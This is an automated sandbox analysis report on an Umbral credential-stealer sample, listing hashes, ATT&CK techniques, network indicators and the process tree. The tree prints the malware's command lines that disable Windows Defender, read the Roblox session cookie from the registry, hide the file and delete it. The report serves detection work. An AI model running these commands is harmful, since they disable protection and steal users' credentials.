umbral | 20a5f718e30ebf604171a2e6c7b57fdd3affb5d1b3845920c12543fc9e8337bd

Analysis

max time kernel
16s
max time network
16s
platform
windows7_x64
resource
win7-20240729-en
resource tags

arch:x64arch:x86image:win7-20240729-enlocale:en-usos:windows7-x64system
submitted
20-08-2024 20:38

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General

Target

LzIoc.scr.exe
Size

506KB
MD5

6f801049dc7c819dc80f015947962f47
SHA1

427c1556b90aa70d3d1b3314bc88325ea30f4687
SHA256

20a5f718e30ebf604171a2e6c7b57fdd3affb5d1b3845920c12543fc9e8337bd
SHA512

d6dd99f5dcaa1717d36ab6f2ad17264416114b77750bfe90901f37bfabbd5ba2f54f43f356cf1e4db6376eb2b0a8850502ce6535f546c59799961241333bfe2e
SSDEEP

6144:uloZM9rIkd8g+EtXHkv/iD4CGYhfVeGJdMFXSy3v7Igb8e1mSiZ:4oZOL+EP8CGYhfVeGJdMFXSy3vZUZ

Score

10^/10

umbral credential_access discovery execution spyware stealer

Malware Config

Signatures

Detect Umbral payload 1 IoCs

resource	yara_rule
behavioral1/memory/2212-1-0x0000000001150000-0x00000000011D6000-memory.dmp	family_umbral

Umbral
Umbral stealer is an opensource moduler stealer written in C#.
stealer umbral
Credentials from Password Stores: Credentials from Web Browsers 1 TTPs
Malicious Access or copy of Web Browser Credential store.
credential_access stealer

Credentials from Web Browsers
T1555.003

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
2812	powershell.exe
2676	powershell.exe
2068	powershell.exe
2636	powershell.exe

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	LzIoc.scr.exe

Deletes itself 1 IoCs

pid	Process
1768	cmd.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
6	discord.com
7	discord.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
4	ip-api.com

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
1768	cmd.exe
1792	PING.EXE

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
2112	wmic.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
1792	PING.EXE

Suspicious behavior: EnumeratesProcesses 5 IoCs

pid	Process
2812	powershell.exe
2636	powershell.exe
2676	powershell.exe
1724	powershell.exe
2068	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	2212	LzIoc.scr.exe
Token: SeDebugPrivilege	2812	powershell.exe
Token: SeDebugPrivilege	2636	powershell.exe
Token: SeDebugPrivilege	2676	powershell.exe
Token: SeDebugPrivilege	1724	powershell.exe
Token: SeIncreaseQuotaPrivilege	2200	wmic.exe
Token: SeSecurityPrivilege	2200	wmic.exe
Token: SeTakeOwnershipPrivilege	2200	wmic.exe
Token: SeLoadDriverPrivilege	2200	wmic.exe
Token: SeSystemProfilePrivilege	2200	wmic.exe
Token: SeSystemtimePrivilege	2200	wmic.exe
Token: SeProfSingleProcessPrivilege	2200	wmic.exe
Token: SeIncBasePriorityPrivilege	2200	wmic.exe
Token: SeCreatePagefilePrivilege	2200	wmic.exe
Token: SeBackupPrivilege	2200	wmic.exe
Token: SeRestorePrivilege	2200	wmic.exe
Token: SeShutdownPrivilege	2200	wmic.exe
Token: SeDebugPrivilege	2200	wmic.exe
Token: SeSystemEnvironmentPrivilege	2200	wmic.exe
Token: SeRemoteShutdownPrivilege	2200	wmic.exe
Token: SeUndockPrivilege	2200	wmic.exe
Token: SeManageVolumePrivilege	2200	wmic.exe
Token: 33	2200	wmic.exe
Token: 34	2200	wmic.exe
Token: 35	2200	wmic.exe
Token: SeIncreaseQuotaPrivilege	2200	wmic.exe
Token: SeSecurityPrivilege	2200	wmic.exe
Token: SeTakeOwnershipPrivilege	2200	wmic.exe
Token: SeLoadDriverPrivilege	2200	wmic.exe
Token: SeSystemProfilePrivilege	2200	wmic.exe
Token: SeSystemtimePrivilege	2200	wmic.exe
Token: SeProfSingleProcessPrivilege	2200	wmic.exe
Token: SeIncBasePriorityPrivilege	2200	wmic.exe
Token: SeCreatePagefilePrivilege	2200	wmic.exe
Token: SeBackupPrivilege	2200	wmic.exe
Token: SeRestorePrivilege	2200	wmic.exe
Token: SeShutdownPrivilege	2200	wmic.exe
Token: SeDebugPrivilege	2200	wmic.exe
Token: SeSystemEnvironmentPrivilege	2200	wmic.exe
Token: SeRemoteShutdownPrivilege	2200	wmic.exe
Token: SeUndockPrivilege	2200	wmic.exe
Token: SeManageVolumePrivilege	2200	wmic.exe
Token: 33	2200	wmic.exe
Token: 34	2200	wmic.exe
Token: 35	2200	wmic.exe
Token: SeIncreaseQuotaPrivilege	2944	wmic.exe
Token: SeSecurityPrivilege	2944	wmic.exe
Token: SeTakeOwnershipPrivilege	2944	wmic.exe
Token: SeLoadDriverPrivilege	2944	wmic.exe
Token: SeSystemProfilePrivilege	2944	wmic.exe
Token: SeSystemtimePrivilege	2944	wmic.exe
Token: SeProfSingleProcessPrivilege	2944	wmic.exe
Token: SeIncBasePriorityPrivilege	2944	wmic.exe
Token: SeCreatePagefilePrivilege	2944	wmic.exe
Token: SeBackupPrivilege	2944	wmic.exe
Token: SeRestorePrivilege	2944	wmic.exe
Token: SeShutdownPrivilege	2944	wmic.exe
Token: SeDebugPrivilege	2944	wmic.exe
Token: SeSystemEnvironmentPrivilege	2944	wmic.exe
Token: SeRemoteShutdownPrivilege	2944	wmic.exe
Token: SeUndockPrivilege	2944	wmic.exe
Token: SeManageVolumePrivilege	2944	wmic.exe
Token: 33	2944	wmic.exe
Token: 34	2944	wmic.exe

Suspicious use of WriteProcessMemory 36 IoCs

description	pid	Process	procid_target
PID 2212 wrote to memory of 2748	2212	LzIoc.scr.exe	30
PID 2212 wrote to memory of 2748	2212	LzIoc.scr.exe	30
PID 2212 wrote to memory of 2748	2212	LzIoc.scr.exe	30
PID 2212 wrote to memory of 2812	2212	LzIoc.scr.exe	32
PID 2212 wrote to memory of 2812	2212	LzIoc.scr.exe	32
PID 2212 wrote to memory of 2812	2212	LzIoc.scr.exe	32
PID 2212 wrote to memory of 2636	2212	LzIoc.scr.exe	34
PID 2212 wrote to memory of 2636	2212	LzIoc.scr.exe	34
PID 2212 wrote to memory of 2636	2212	LzIoc.scr.exe	34
PID 2212 wrote to memory of 2676	2212	LzIoc.scr.exe	36
PID 2212 wrote to memory of 2676	2212	LzIoc.scr.exe	36
PID 2212 wrote to memory of 2676	2212	LzIoc.scr.exe	36
PID 2212 wrote to memory of 1724	2212	LzIoc.scr.exe	38
PID 2212 wrote to memory of 1724	2212	LzIoc.scr.exe	38
PID 2212 wrote to memory of 1724	2212	LzIoc.scr.exe	38
PID 2212 wrote to memory of 2200	2212	LzIoc.scr.exe	40
PID 2212 wrote to memory of 2200	2212	LzIoc.scr.exe	40
PID 2212 wrote to memory of 2200	2212	LzIoc.scr.exe	40
PID 2212 wrote to memory of 2944	2212	LzIoc.scr.exe	43
PID 2212 wrote to memory of 2944	2212	LzIoc.scr.exe	43
PID 2212 wrote to memory of 2944	2212	LzIoc.scr.exe	43
PID 2212 wrote to memory of 2852	2212	LzIoc.scr.exe	45
PID 2212 wrote to memory of 2852	2212	LzIoc.scr.exe	45
PID 2212 wrote to memory of 2852	2212	LzIoc.scr.exe	45
PID 2212 wrote to memory of 2068	2212	LzIoc.scr.exe	47
PID 2212 wrote to memory of 2068	2212	LzIoc.scr.exe	47
PID 2212 wrote to memory of 2068	2212	LzIoc.scr.exe	47
PID 2212 wrote to memory of 2112	2212	LzIoc.scr.exe	49
PID 2212 wrote to memory of 2112	2212	LzIoc.scr.exe	49
PID 2212 wrote to memory of 2112	2212	LzIoc.scr.exe	49
PID 2212 wrote to memory of 1768	2212	LzIoc.scr.exe	51
PID 2212 wrote to memory of 1768	2212	LzIoc.scr.exe	51
PID 2212 wrote to memory of 1768	2212	LzIoc.scr.exe	51
PID 1768 wrote to memory of 1792	1768	cmd.exe	53
PID 1768 wrote to memory of 1792	1768	cmd.exe	53
PID 1768 wrote to memory of 1792	1768	cmd.exe	53

Views/modifies file attributes 1 TTPs 1 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
2748	attrib.exe

C:\Users\Admin\AppData\Local\Temp\LzIoc.scr.exe
"C:\Users\Admin\AppData\Local\Temp\LzIoc.scr.exe"
1⤵
- Drops file in Drivers directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2212
- C:\Windows\system32\attrib.exe
  "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\LzIoc.scr.exe"
  2⤵
  - Views/modifies file attributes
  PID:2748
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\LzIoc.scr.exe'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2812
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2636
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2676
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1724
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" os get Caption
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2200
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" computersystem get totalphysicalmemory
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2944
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  PID:2852
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:2068
- C:\Windows\System32\Wbem\wmic.exe
  "wmic" path win32_VideoController get name
  2⤵
  - Detects videocard installed
  PID:2112
- C:\Windows\system32\cmd.exe
  "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\LzIoc.scr.exe" && pause
  2⤵
  - Deletes itself
  - System Network Configuration Discovery: Internet Connection Discovery
  - Suspicious use of WriteProcessMemory
  PID:1768
- - C:\Windows\system32\PING.EXE
    ping localhost
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:1792

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Remote System Discovery

T1018

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\XU835DDFLUPF2GGB0PDE.temp

Filesize
7KB

MD5
898853ffdd944072e985a72fe5d2b143

SHA1
832a2f76c23ad3c69efe10575b2a1a9964a3c792

SHA256
c7d95abd8069a4ecd23c61793d0b3173c6f0277317cd6ad2acb5137be6aeb395

SHA512
40abf7f622520b3d1ab1cfa1f2d2d4dd5d376fc879281d3714286a44221ad9689c04bd424ad1bd6813291fe199c24b18b08c8ca5b65164bb0b3de461286fdefc

Download Submit
memory/2068-47-0x000000001B620000-0x000000001B902000-memory.dmp

Filesize
2.9MB

Download
memory/2212-1-0x0000000001150000-0x00000000011D6000-memory.dmp

Filesize
536KB

Download
memory/2212-2-0x000007FEF5DD0000-0x000007FEF67BC000-memory.dmp

Filesize
9.9MB

Download
memory/2212-51-0x000007FEF5DD0000-0x000007FEF67BC000-memory.dmp

Filesize
9.9MB

Download
memory/2212-0-0x000007FEF5DD3000-0x000007FEF5DD4000-memory.dmp

Filesize
4KB

Download
memory/2636-20-0x0000000001ED0000-0x0000000001ED8000-memory.dmp

Filesize
32KB

Download
memory/2636-19-0x000000001B700000-0x000000001B9E2000-memory.dmp

Filesize
2.9MB

Download
memory/2812-10-0x000007FEEDAB0000-0x000007FEEE44D000-memory.dmp

Filesize
9.6MB

Download
memory/2812-13-0x000007FEEDAB0000-0x000007FEEE44D000-memory.dmp

Filesize
9.6MB

Download
memory/2812-12-0x000007FEEDAB0000-0x000007FEEE44D000-memory.dmp

Filesize
9.6MB

Download
memory/2812-11-0x000007FEEDAB0000-0x000007FEEE44D000-memory.dmp

Filesize
9.6MB

Download
memory/2812-9-0x00000000027B0000-0x00000000027B8000-memory.dmp

Filesize
32KB

Download
memory/2812-8-0x000000001B530000-0x000000001B812000-memory.dmp

Filesize
2.9MB

Download
memory/2812-7-0x000007FEEDD6E000-0x000007FEEDD6F000-memory.dmp

Filesize
4KB

Download